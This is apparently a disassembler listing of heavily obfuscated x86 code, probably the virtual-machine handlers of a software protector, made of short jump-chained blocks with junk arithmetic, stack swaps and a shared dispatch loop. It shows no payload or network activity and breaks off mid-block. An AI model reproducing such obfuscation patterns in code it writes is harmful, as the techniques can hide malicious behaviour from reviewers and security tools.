		jmp	loc_57E5B9
; ---------------------------------------------------------------------------


loc_591137:				; CODE XREF: ud2_____:00586551j
		pop	esi
		add	edx, 15652F8Ch
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	byte ptr [esp],	cl
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_59115C:				; CODE XREF: ud2_____:00584E4Aj
		add	dword ptr [esp+4], 17BC6379h
		add	[esp+4], edx
		sub	dword ptr [esp+4], 17BC6379h
		pop	edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_581943
; ---------------------------------------------------------------------------


loc_59117A:				; CODE XREF: ud2_____:0058FB6Aj
		pop	ebp
		jmp	loc_581F23
; ---------------------------------------------------------------------------


loc_591180:				; CODE XREF: ud2_____:00586E4Bj
		pop	eax
		sub	esp, 2
		mov	[esp], dx
		jmp	loc_58D954
; ---------------------------------------------------------------------------


loc_591190:				; CODE XREF: ud2_____:0058E5EBj
		sub	esi, 0DA9C178Dh
		jmp	loc_58AAE2
; ---------------------------------------------------------------------------


loc_59119B:				; CODE XREF: ud2_____:0058BBBAj
		pop	edx
		push	7356h
		mov	[esp], edx
		push	1849h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		jmp	loc_587CE7
; ---------------------------------------------------------------------------


loc_5911B9:				; CODE XREF: ud2_____:0057FD71j
		push	ecx
		jmp	loc_591515
; ---------------------------------------------------------------------------


loc_5911BF:				; CODE XREF: ud2_____:0058CCEDj
		shl	ecx, 5
		xor	ecx, 3AB434F9h
		jmp	loc_57E882
; ---------------------------------------------------------------------------


loc_5911CD:				; CODE XREF: ud2_____:00588281j
		add	esp, 4
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_580A10
; ---------------------------------------------------------------------------


loc_5911DB:				; CODE XREF: ud2_____:005861B9j
		xor	esi, 6FC7147Eh
		sub	esi, 0ACBC3667h
		jmp	loc_587C78
; ---------------------------------------------------------------------------


loc_5911EC:				; CODE XREF: ud2_____:0058AA79j
		or	ebp, 5B162F90h
		jmp	loc_58B257
; ---------------------------------------------------------------------------


loc_5911F7:				; CODE XREF: ud2_____:005906DAj
		add	ebx, 44F76615h
		add	ecx, ebx
		pop	ebx
		mov	edi, [esp]
		push	ebx
		jmp	loc_588770
; ---------------------------------------------------------------------------


loc_591209:				; CODE XREF: ud2_____:00589DD7j
		mov	esi, 4
		push	esi
		pop	eax
		jmp	loc_584631
; ---------------------------------------------------------------------------


loc_591215:				; CODE XREF: ud2_____:0057EBB2j
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		push	esi
		mov	esi, 1EC87EE4h
		add	dword ptr [esp+4], 417388Ah
		add	[esp+4], esi
		sub	dword ptr [esp+4], 417388Ah
		jmp	loc_5805E4
; ---------------------------------------------------------------------------


loc_591240:				; CODE XREF: ud2_____:005878B3j
		shl	edi, 2
		and	edi, 73226327h
		jmp	loc_5813B2
; ---------------------------------------------------------------------------


loc_59124E:				; CODE XREF: ud2_____:005801EEj
		mov	dx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	2498h
		mov	[esp], ebx
		mov	ebx, 737D1F4Bh
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 22B46263h
		inc	edx
		jmp	loc_5912F9
; ---------------------------------------------------------------------------


loc_591279:				; CODE XREF: ud2_____:00582719j
		and	cl, 0D5h
		or	cl, 0EBh
		add	cl, 9Eh
		sub	bl, cl
		pop	ecx
		push	ecx
		mov	ch, 4Ch
		add	ch, 20h
		xor	ch, 48h
		add	ch, 0C8h
		dec	ch
		push	ecx
		not	byte ptr [esp+1]
		jmp	loc_58869F
; ---------------------------------------------------------------------------


loc_59129D:				; CODE XREF: ud2_____:0058E026j
		push	eax
		mov	al, 0F0h
		add	al, 6Bh
		mov	bl, al
		mov	eax, [esp]
		add	esp, 4
		sub	al, bl
		pop	bx
		pop	ebx
		pop	ebx
		pop	ebx
		push	cx
		mov	ch, 0E7h
		sub	bl, ch
		pop	cx
		jmp	loc_58F362
; ---------------------------------------------------------------------------


loc_5912BE:				; CODE XREF: ud2_____:0058F1DAj
		mov	edi, 4
		add	eax, edi
		pop	edi
		jmp	loc_57F900
; ---------------------------------------------------------------------------


loc_5912CB:				; CODE XREF: ud2_____:0057E209j
		mov	[esp], dx
		mov	di, [esp]
		add	esp, 2
		mov	dx, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		sub	esp, 4
		jmp	loc_58A58A
; ---------------------------------------------------------------------------


loc_5912ED:				; CODE XREF: ud2_____:0058CDAAj
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_58725A
; ---------------------------------------------------------------------------


loc_5912F9:				; CODE XREF: ud2_____:00591274j
		push	6AF1h
		jmp	loc_588029
; ---------------------------------------------------------------------------


loc_591303:				; CODE XREF: ud2_____:00583570j
		mov	esi, 65AC3E2Fh
		mov	ecx, 0CE790914h
		add	ecx, esi
		pop	esi
		mov	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	edi, esi
		jmp	loc_58CA62
; ---------------------------------------------------------------------------


loc_59131F:				; CODE XREF: ud2_____:00584E40j
		sub	al, cl
		mov	ecx, [esp]
		jmp	loc_58EB95
; ---------------------------------------------------------------------------


loc_591329:				; CODE XREF: ud2_____:0058DB39j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_58FE4D
; ---------------------------------------------------------------------------


loc_591338:				; CODE XREF: ud2_____:0058D758j
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_591348:				; CODE XREF: ud2_____:00585DB9j
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		add	esp, 4
		add	esp, 4
		sub	[esp], eax
		pushf
		jmp	loc_583BCE
; ---------------------------------------------------------------------------


loc_591366:				; CODE XREF: ud2_____:00581D65j
		push	edx
		mov	edx, 4
		jmp	loc_58DB1B
; ---------------------------------------------------------------------------


loc_591371:				; CODE XREF: ud2_____:0058F05Bj
		add	edx, edi
		add	edx, 188729F9h
		pop	edi
		jmp	loc_58288B
; ---------------------------------------------------------------------------


loc_59137F:				; CODE XREF: ud2_____:00588326j
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_588AB9
; ---------------------------------------------------------------------------


loc_59138A:				; CODE XREF: ud2_____:0058EFCDj
		add	esp, 4
		jmp	loc_588FDA
; ---------------------------------------------------------------------------


loc_591392:				; CODE XREF: ud2_____:00584724j
		shl	esi, 6
		add	esi, 72751E0Bh
		push	esi
		pop	edx
		jmp	loc_5811E0
; ---------------------------------------------------------------------------


loc_5913A2:				; CODE XREF: ud2_____:00581619j
		add	edx, 6856BECFh
		xor	ebx, edx
		pop	edx
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	eax, 4
		push	eax
		jmp	loc_58C9D2
; ---------------------------------------------------------------------------


loc_5913BF:				; CODE XREF: ud2_____:005894DEj
		xchg	edi, ebp
		and	ebp, 5F685801h
		jmp	loc_58DE80
; ---------------------------------------------------------------------------


loc_5913CC:				; CODE XREF: ud2_____:0058CA0Fj
		pop	edi
		sub	dword ptr [esp], 44D24440h
		jmp	loc_580FA1
; ---------------------------------------------------------------------------


loc_5913D9:				; CODE XREF: ud2_____:0057FBECj
		sub	eax, ecx
		jmp	loc_591675
; ---------------------------------------------------------------------------


loc_5913E0:				; CODE XREF: ud2_____:005910C7j
		push	ebp
		jmp	loc_57EB2D
; ---------------------------------------------------------------------------


loc_5913E6:				; CODE XREF: ud2_____:0058AF0Ej
		shl	edi, 3
		add	edi, 1
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 47AA1077h
		sub	eax, 47AA1073h
		add	ebp, eax
		pop	eax
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 6F79043Fh
		shl	esi, 7
		push	edi
		mov	edi, 594A7F2Bh
		add	esi, edi
		pop	edi
		shl	esi, 4
		jmp	loc_584898
; ---------------------------------------------------------------------------


loc_591423:				; CODE XREF: ud2_____:0058EF31j
		sub	esp, 4
		jmp	loc_5905D2
; ---------------------------------------------------------------------------


loc_59142E:				; CODE XREF: ud2_____:0058F509j
		or	ebp, 2DEB06EFh
		shr	ebp, 2
		neg	ebp
		jmp	loc_58A47A
; ---------------------------------------------------------------------------


loc_59143E:				; CODE XREF: ud2_____:0057E109j
		add	bl, ch
		mov	ecx, [esp]
		add	esp, 4
		jmp	near ptr unk_57E0F9
; ---------------------------------------------------------------------------


loc_59144E:				; CODE XREF: ud2_____:0058880Ej
		mov	eax, 36BD46D5h
		push	edx
		jmp	loc_587B24
; ---------------------------------------------------------------------------


loc_591459:				; CODE XREF: ud2_____:00580116j
		add	esi, 0F13017Ch
		push	edx
		mov	edx, 31B17473h
		xor	edx, 5E633375h
		add	esi, edx
		pop	edx
		jmp	loc_58EAA9
; ---------------------------------------------------------------------------


loc_591473:				; CODE XREF: ud2_____:0058FE09j
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_582151
; ---------------------------------------------------------------------------


loc_591487:				; CODE XREF: ud2_____:0058D06Dj
		pop	esp
		mov	[esp], ecx
		push	4BAA4E9Ch
		pop	ecx
		add	ecx, 1
		shr	ecx, 1
		add	ecx, 73E4DD8h
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_57FB90
; ---------------------------------------------------------------------------


loc_5914A9:				; CODE XREF: ud2_____:0058EF97j
		mov	[esp], edx
		jmp	loc_57F1D7
; ---------------------------------------------------------------------------


loc_5914B1:				; CODE XREF: ud2_____:00588662j
		sub	ebx, edx
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		sub	ebx, eax
		sub	ebx, 2D343D6Bh
		add	edx, 71E51A7Ah
		sub	esp, 4
		jmp	loc_580B3C
; ---------------------------------------------------------------------------


loc_5914D0:				; CODE XREF: ud2_____:00585F89j
		push	dword ptr [esp]
		jmp	loc_58FFC6
; ---------------------------------------------------------------------------


loc_5914D8:				; CODE XREF: ud2_____:00590B74j
		xor	eax, 0EDDA5805h
		mov	ebp, eax
		pop	eax
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_58AD91
; ---------------------------------------------------------------------------


loc_5914ED:				; CODE XREF: ud2_____:0058CA23j
		sub	ebx, 6DC55A0Ah
		add	ebx, ecx
		add	ebx, 6DC55A0Ah
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_583E84
; ---------------------------------------------------------------------------


loc_59150A:				; CODE XREF: ud2_____:0057FB36j
		xor	ecx, esi
		not	esi
		xchg	esi, ecx
		jmp	loc_585EA4
; ---------------------------------------------------------------------------


loc_591515:				; CODE XREF: ud2_____:005911BAj
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		jmp	loc_586104
; ---------------------------------------------------------------------------


loc_591522:				; CODE XREF: ud2_____:005811CAj
		mov	eax, 106218D6h
		push	edx
		mov	edx, 278B5CE8h
		add	eax, edx
		pop	edx
		jmp	loc_58286C
; ---------------------------------------------------------------------------


loc_591535:				; CODE XREF: ud2_____:00583CFCj
		pop	ebx
		add	ebx, 4
		jmp	loc_5813C3
; ---------------------------------------------------------------------------


loc_591541:				; CODE XREF: ud2_____:0059264Aj
		pop	esp
		push	740Fh
		mov	[esp], ecx
		push	edi
		mov	edi, 5875AA4h
		mov	ecx, edi
		pop	edi
		inc	ecx
		shl	ecx, 3
		and	ecx, 7B5E78A3h
		jmp	loc_57F6A2
; ---------------------------------------------------------------------------


loc_591562:				; CODE XREF: ud2_____:00591E34j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_58B10F
; ---------------------------------------------------------------------------


loc_591576:				; CODE XREF: ud2_____:0058D8F1j
		sub	ebx, 92A64B99h
		mov	ecx, ebx
		pop	ebx
		mov	edi, ecx
		pop	ecx
		jmp	loc_590E57
; ---------------------------------------------------------------------------


loc_591587:				; CODE XREF: ud2_____:0057FB9Fj
		push	ecx
		jmp	loc_5864EE
; ---------------------------------------------------------------------------


loc_59158D:				; CODE XREF: ud2_____:00591E68j
		mov	eax, 0D77462BFh
		xor	ecx, eax
		pop	eax
		sub	esi, ecx
		pop	ecx
		dec	esi
		not	esi
		sub	esi, 7DB8AD03h
		jmp	loc_584AA5
; ---------------------------------------------------------------------------


loc_5915A6:				; CODE XREF: ud2_____:00588449j
		not	ebx
		or	ebx, 7258035Eh
		jmp	loc_589F62
; ---------------------------------------------------------------------------


loc_5915B3:				; CODE XREF: ud2_____:0058AD59j
		push	edx
		mov	edx, 47370F6h
		shl	edx, 5
		shr	edx, 7
		jmp	loc_585AEB
; ---------------------------------------------------------------------------


loc_5915C4:				; CODE XREF: ud2_____:0057E73Fj
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_5915C9:				; CODE XREF: ud2_____:00583916j
		not	dh
		push	ecx
		mov	ch, 7Dh
		shl	ch, 7
		xor	ch, 0C8h
		xor	dh, ch
		pop	ecx
		jmp	loc_58FA77
; ---------------------------------------------------------------------------


loc_5915DC:				; CODE XREF: ud2_____:0058033Ej
		add	esp, 4
		push	edx
		mov	edx, 0B760D2h
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebx, eax
		sub	ebx, 0B760D2h
		push	ebp
		push	ebx
		push	0D8F08E7h
		pop	ebx
		neg	ebx
		inc	ebx
		add	ebx, 1B81511Ah
		mov	ebp, ebx
		jmp	loc_58357C
; ---------------------------------------------------------------------------


loc_591610:				; CODE XREF: ud2_____:005804A6j
		add	ebp, 0E743C047h
		add	ecx, ebp
		jmp	loc_589362
; ---------------------------------------------------------------------------


loc_59161D:				; CODE XREF: ud2_____:0058E442j
		xchg	ebx, esi
		xchg	esi, ebx
		push	edi
		mov	edi, 0BB22A2AFh
		xor	ebx, edi
		pop	edi
		mov	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 1F910DECh
		mov	eax, ebp
		jmp	loc_585389
; ---------------------------------------------------------------------------


loc_591650:				; CODE XREF: ud2_____:00581194j
		xor	bh, 0AFh
		and	bh, 0D2h
		shl	bh, 8
		sub	bh, 69h
		sub	dl, bh
		pop	ebx
		jmp	loc_5885B3
; ---------------------------------------------------------------------------


loc_591664:				; CODE XREF: ud2_____:0057F988j
		push	dword ptr [esp]
		jmp	loc_57FFE8
; ---------------------------------------------------------------------------


loc_59166C:				; CODE XREF: ud2_____:0058D46Aj
		mov	[esp], ebp
		push	esp
		jmp	loc_582AB1
; ---------------------------------------------------------------------------


loc_591675:				; CODE XREF: ud2_____:005913DBj
		sub	eax, 73F06B50h
		pop	ecx
		add	eax, edx
		add	eax, 6E046A64h
		jmp	loc_57EF2B
; ---------------------------------------------------------------------------


loc_591687:				; CODE XREF: ud2_____:0058A8D7j
		mov	edi, [esp]
		add	esp, 4
		add	eax, 1B3E4178h
		sub	eax, ebx
		sub	eax, 1B3E4178h
		sub	eax, 53070EE4h
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_5862A8
; ---------------------------------------------------------------------------


loc_5916B9:				; CODE XREF: ud2_____:00591BC1j
		push	esi
		mov	esi, 4
		add	eax, 52A73202h
		add	eax, esi
		jmp	loc_586F6C
; ---------------------------------------------------------------------------


loc_5916CB:				; CODE XREF: ud2_____:0058BCE3j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_587063
; ---------------------------------------------------------------------------


loc_5916D4:				; CODE XREF: ud2_____:00592DBAj
		neg	bl
		jmp	loc_57EC43
; ---------------------------------------------------------------------------


loc_5916DB:				; CODE XREF: ud2_____:0058EFE3j
		sub	ebp, eax
		pop	eax
		jmp	loc_58497E
; ---------------------------------------------------------------------------


loc_5916E3:				; CODE XREF: ud2_____:0058650Fj
		shl	al, 2
		push	ebx
		jmp	loc_5819ED
; ---------------------------------------------------------------------------


loc_5916EC:				; CODE XREF: ud2_____:00592165j
		push	736Eh
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	ecx
		mov	ecx, 4
		add	dword ptr [esp+4], 3E9069D6h
		add	[esp+4], ecx
		sub	dword ptr [esp+4], 3E9069D6h
		jmp	loc_58EB61
; ---------------------------------------------------------------------------


loc_59171B:				; CODE XREF: ud2_____:0058CC54j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_582771
; ---------------------------------------------------------------------------


loc_591729:				; CODE XREF: ud2_____:005802CFj
		push	927h
		mov	[esp], eax
		push	esi
		mov	esi, 5F80325h
		dec	esi
		add	esi, 4F7B1EC8h
		mov	eax, esi
		pop	esi
		shr	eax, 2
		xor	eax, 62F939B9h
		xor	eax, 0F9999A9h
		sub	edi, eax
		pop	eax
		push	ebp
		mov	ebp, 4FBD5E94h
		sub	edi, ebp
		pop	ebp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_591775:				; CODE XREF: ud2_____:00589CE2j
		sub	ebx, ebp
		pop	ebp
		mov	edx, [esp]
		add	esp, 4
		sub	ebx, 1C630A06h
		push	edi
		push	ebx
		mov	ebx, 34C82C6Ch
		mov	edi, ebx
		pop	ebx
		inc	edi
		sub	edi, 1B255732h
		shr	edi, 1
		dec	edi
		not	edi
		push	edx
		mov	edx, 0EA577AD9h
		jmp	loc_58C492
; ---------------------------------------------------------------------------


loc_5917A8:				; CODE XREF: ud2_____:0057E77Bj
		push	dword ptr [esp]
		pop	edi
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	eax, esi
		push	4C65h
		mov	[esp], edx
		jmp	loc_588EFD
; ---------------------------------------------------------------------------


loc_5917CE:				; CODE XREF: ud2_____:0058C87Ej
		add	esp, 4
		push	ebp
		mov	ebp, 2
		push	ebp
		jmp	loc_580A15
; ---------------------------------------------------------------------------


loc_5917E0:				; CODE XREF: ud2_____:0059215Bj
		xor	bh, ch
		jmp	loc_592BC1
; ---------------------------------------------------------------------------


loc_5917E7:				; CODE XREF: ud2_____:005921E0j
		pop	eax
		mov	ah, bh
		mov	ebx, [esp]
		add	esp, 4
		mov	bh, ah
		mov	eax, [esp]
		add	esp, 4
		push	26F3h
		mov	[esp], edx
		jmp	loc_59105C
; ---------------------------------------------------------------------------


loc_591808:				; CODE XREF: ud2_____:005851A1j
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5898E7
; ---------------------------------------------------------------------------


loc_591816:				; CODE XREF: ud2_____:0058DE0Aj
		add	eax, ebx
		add	eax, 518C49D5h
		pop	ebx
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_58603C
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	0FCFh
		jmp	loc_58FA23
; ---------------------------------------------------------------------------


loc_591840:				; CODE XREF: ud2_____:0058CA2Dj
		pop	dword ptr [esp]
		mov	esp, [esp]
		imul	ecx
		push	68F5h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_591857:				; CODE XREF: ud2_____:00585EEEj
		sub	edi, 56A93BD9h
		jmp	loc_583140
; ---------------------------------------------------------------------------


loc_591862:				; CODE XREF: ud2_____:00585401j
		mov	[esp], edx
		jmp	loc_58C76C
; ---------------------------------------------------------------------------


loc_59186A:				; CODE XREF: ud2_____:005902E6j
		add	esi, 1A3D0705h
		mov	edi, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		sub	esi, edi
		jmp	loc_58E901
; ---------------------------------------------------------------------------


loc_591883:				; CODE XREF: ud2_____:0058F495j
		pop	cx
		add	bl, al
		sub	bl, 78h
		push	ax
		sub	esp, 4
		mov	[esp], ebx
		push	1A85h
		mov	[esp], ecx
		mov	ch, 0AEh
		jmp	loc_5811EA
; ---------------------------------------------------------------------------


loc_5918A4:				; CODE XREF: ud2_____:0058035Aj
		pop	ebx
		jmp	loc_592064
; ---------------------------------------------------------------------------


loc_5918AA:				; CODE XREF: ud2_____:005924DEj
		and	esi, 3FA66FA2h
		and	esi, 5E6A6C88h
		add	esi, 0D886677h
		xor	esi, 7312D58h
		add	esi, 2B3B68FEh
		add	edi, esi
		jmp	loc_589922
; ---------------------------------------------------------------------------


loc_5918CF:				; CODE XREF: ud2_____:005808D3j
		dec	edx
		jmp	loc_57E8E5
; ---------------------------------------------------------------------------


loc_5918D5:				; CODE XREF: ud2_____:0058FA0Dj
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_5918DD:				; CODE XREF: ud2_____:005869A2j
		sub	esi, ebp
		pop	ebp
		xor	ecx, esi
		jmp	loc_587F73
; ---------------------------------------------------------------------------


loc_5918E7:				; CODE XREF: ud2_____:00585B26j
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_58DF2D
; ---------------------------------------------------------------------------


loc_5918F8:				; CODE XREF: ud2_____:0058681Fj
		add	edi, 2
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_582C24
; ---------------------------------------------------------------------------


loc_59190C:				; CODE XREF: ud2_____:00592705j
		mov	edx, ecx
		pop	ecx
		add	esi, edx
		pop	edx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		add	al, 21h
		jmp	loc_58DA73
; ---------------------------------------------------------------------------


loc_591923:				; CODE XREF: ud2_____:00586472j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 17D01FA7h
		push	esi
		mov	esi, 567B7A1Dh
		sub	esi, 1
		neg	esi
		sub	esi, 55EB73E5h
		sub	esi, 6B6931A2h
		mov	ecx, esi
		pop	esi
		sub	ecx, 604C4083h
		add	ecx, eax
		add	ecx, 604C4083h
		pop	eax
		push	ecx
		sub	dword ptr [esp], 290D5F7Dh
		jmp	loc_58CC22
; ---------------------------------------------------------------------------


loc_591967:				; CODE XREF: ud2_____:0058B9CEj
		add	edi, ecx
		pop	ecx
		dec	edi
		jmp	loc_589B7A
; ---------------------------------------------------------------------------


loc_591970:				; CODE XREF: ud2_____:005823F4j
		pop	edi
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_590DDD
; ---------------------------------------------------------------------------


loc_59197C:				; CODE XREF: ud2_____:00584FFFj
		add	dword ptr [esp], 4
		jmp	loc_585E10
; ---------------------------------------------------------------------------


loc_591985:				; CODE XREF: ud2_____:00588C21j
		xor	dl, bh
		mov	ebx, [esp]
		jmp	loc_58704B
; ---------------------------------------------------------------------------


loc_59198F:				; CODE XREF: ud2_____:0058E319j
		and	ecx, 13547664h
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 3BB023F9h
		xor	ecx, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_5852DA
; ---------------------------------------------------------------------------


loc_5919BA:				; CODE XREF: ud2_____:0057EF30j
		pop	edx
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		jmp	loc_583E0C
; ---------------------------------------------------------------------------


loc_5919C6:				; CODE XREF: ud2_____:00580EEFj
		mov	edx, [esp]
		push	ecx
		jmp	loc_583370
; ---------------------------------------------------------------------------


loc_5919CF:				; CODE XREF: ud2_____:0057E3D3j
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_57F631
; ---------------------------------------------------------------------------


loc_5919DC:				; CODE XREF: ud2_____:00589ADFj
		push	dword ptr [esp+4]
		jmp	loc_58E7F3
; ---------------------------------------------------------------------------


loc_5919E5:				; CODE XREF: ud2_____:00581894j
		add	esi, ecx
		mov	ecx, [esp]
		jmp	loc_58055C
; ---------------------------------------------------------------------------


loc_5919EF:				; CODE XREF: ud2_____:0057FDE4j
		add	ebp, eax
		jmp	loc_581A61
; ---------------------------------------------------------------------------


loc_5919F6:				; CODE XREF: ud2_____:00590B01j
		xor	edx, 991CFEA3h
		sub	ebx, edx
		pop	edx
		add	ebx, edx
		add	ebx, 441D68A6h
		add	ebx, 6CF7319Fh
		jmp	loc_587F34
; ---------------------------------------------------------------------------


loc_591A12:				; CODE XREF: ud2_____:005835F0j
		push	eax
		jmp	loc_58AEC7
; ---------------------------------------------------------------------------


loc_591A18:				; CODE XREF: ud2_____:00589764j
		xchg	eax, [esp]
		dec	eax
		xchg	eax, [esp]
		pop	esi
		add	esi, 2E161BDh
		not	esi
		xor	esi, 0A4B93B93h
		add	edx, esi
		pop	esi
		xchg	edx, [esp]
		pop	esp
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_582A61
		push	4B1Fh
		mov	[esp], ebx
		push	esi
		mov	esi, 51C50C7Bh
		push	1BEDh
		mov	[esp], edi
		jmp	loc_592DBF
; ---------------------------------------------------------------------------


loc_591A67:				; CODE XREF: ud2_____:00589413j
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_583F7E
; ---------------------------------------------------------------------------


loc_591A88:				; CODE XREF: ud2_____:00588733j
		not	dh
		jmp	loc_58D9DD
; ---------------------------------------------------------------------------


loc_591A8F:				; CODE XREF: ud2_____:00591EDAj
		push	esi
		mov	esi, 5AAB0F16h
		not	esi
		inc	esi
		inc	esi
		push	eax
		mov	eax, 0A554F0E7h
		jmp	loc_5865BB
; ---------------------------------------------------------------------------


loc_591AA4:				; CODE XREF: ud2_____:0058C30Aj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_587412
; ---------------------------------------------------------------------------


loc_591AAF:				; CODE XREF: ud2_____:0057E190j
		pop	edx
		push	ecx
		mov	ecx, 574B2900h
		and	esi, ecx
		jmp	loc_58F250
; ---------------------------------------------------------------------------


loc_591ABD:				; CODE XREF: ud2_____:00582250j
		push	59F5h
		mov	[esp], ebp
		push	eax
		mov	eax, 28BF52BFh
		mov	ebp, 495127C1h
		add	ebp, 662C15ADh
		add	ebp, eax
		jmp	loc_592783
; ---------------------------------------------------------------------------


loc_591ADD:				; CODE XREF: ud2_____:00583E4Aj
		push	5FB6h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	0D02h
		mov	[esp], edi
		mov	edi, 42F07DCh
		push	eax
		mov	eax, 30B9312Eh
		xor	eax, 20E03DB6h
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 1C062449h
		neg	ecx
		push	esi
		mov	esi, 73305EDh
		add	ecx, esi
		pop	esi
		shl	ecx, 6
		push	edi
		mov	edi, 0E6E03B3h
		and	ecx, edi
		pop	edi
		add	ecx, 0FBB12352h
		sub	edi, ecx
		pop	ecx
		push	esi
		mov	esi, 0EAEF020h
		sub	edi, esi
		pop	esi
		jmp	loc_58F8F1
; ---------------------------------------------------------------------------


loc_591B40:				; CODE XREF: ud2_____:0057EDD3j
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	ecx, [esp]
		push	35Ch
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_582159
; ---------------------------------------------------------------------------


loc_591B58:				; CODE XREF: ud2_____:00589638j
		push	10FF05EBh
		jmp	loc_590520
; ---------------------------------------------------------------------------


loc_591B62:				; CODE XREF: ud2_____:005841C7j
		sub	ch, bh
		add	ch, 56h
		mov	bx, [esp]
		add	esp, 2
		push	dx
		push	ebx
		mov	bh, 63h
		mov	dh, bh
		pop	ebx
		and	ch, dh
		mov	dx, [esp]
		add	esp, 2
		neg	ch
		push	bx
		mov	bh, 61h
		add	ch, 8Ch
		jmp	loc_58FBA8
; ---------------------------------------------------------------------------


loc_591B8D:				; CODE XREF: ud2_____:0058AAFEj
		mov	[esp], esi
		mov	esi, 30362AC8h
		jmp	loc_59075F
; ---------------------------------------------------------------------------


loc_591B9A:				; CODE XREF: ud2_____:005882CBj
		or	ecx, 145870C6h
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 0CAE64971h
		sub	ecx, ebp
		pop	ebp
		add	ebx, 0D2715ECh
		jmp	loc_587F68
; ---------------------------------------------------------------------------


loc_591BBC:				; CODE XREF: ud2_____:005825BFj
		add	eax, 4
		jmp	loc_5916B9
; ---------------------------------------------------------------------------


loc_591BC6:				; CODE XREF: ud2_____:0058689Aj
		xor	bh, ah
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_58631A
; ---------------------------------------------------------------------------


loc_591BD3:				; CODE XREF: ud2_____:0057FB8Bj
		pop	cx
		jmp	loc_582D0D
; ---------------------------------------------------------------------------


loc_591BDA:				; CODE XREF: ud2_____:00588B13j
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_58E28E
; ---------------------------------------------------------------------------


loc_591BE6:				; CODE XREF: ud2_____:00581C9Dj
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 163C1E36h
		add	ebp, 1D482C4Fh
		dec	ebp
		push	ecx
		mov	ecx, 5AB07740h
		and	ebp, ecx
		pop	ecx
